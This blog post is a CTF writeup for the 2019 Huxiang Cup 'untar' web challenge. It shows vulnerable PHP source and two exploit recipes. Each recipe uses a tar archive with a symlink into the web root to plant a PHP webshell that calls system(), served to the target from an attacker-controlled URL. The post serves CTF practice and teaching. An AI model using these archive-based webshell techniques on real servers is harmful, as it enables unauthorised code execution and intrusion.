刘功瑞的博客

有一天你突然惊醒,发现这一切,都只不过是一场梦。

2019湖湘杯web(代码审计 untar) writeup

<?php
    $sandbox = "sandbox/" . md5($_SERVER["REMOTE_ADDR"]);
    echo $sandbox."</br>";
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET["url"]) && !preg_match('/^(http|https):\/\/.*/', $_GET["url"]))
        die();
    $url  = str_replace("|", "", $_GET["url"]);
    $data = shell_exec("GET " . escapeshellarg($url));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    shell_exec("UNTAR ".escapeshellarg(basename($info["basename"])));
    highlight_file(__FILE__);



 两个原题拼的
https://lihuaiqiu.github.io/2019/07/13/BUUCTF-Writeup-%E4%B8%80/
https://www.anquanke.com/post/id/86987


解法一:

ln -s /var/www/html/sandbox/xb1700.php xbox
tar -cf 3.tar 
echo '<?php echo system("/readflag");' >xbox
tar -rf 3.tar xbox
/?url=http://xxx/xbox.tar&filename=xbox.tar



参考 http://knqyf263.hatenablog.com/entry/2018/06/27/181037


解法二:

ln -s /var/www/html/sandbox/cmd.php cmd.php
cat <<EOF > foo
<?php system("/readflag");
EOF
tar cvf cmd.tar * --transform='s/foo/cmd.php/g'
tar -tvvf cmd.tar


http://ip:port/?url=http://xxxxxxxxxxx/cmd.tar&filename=/abc/cmd.tar

生成的 shell 在 /sandbox/cmd.php 访问后得  flag


发表评论:

Powered By Z-BlogPHP 1.5.2 Zero

Copyright www.liugongrui.com.All Rights Reserved.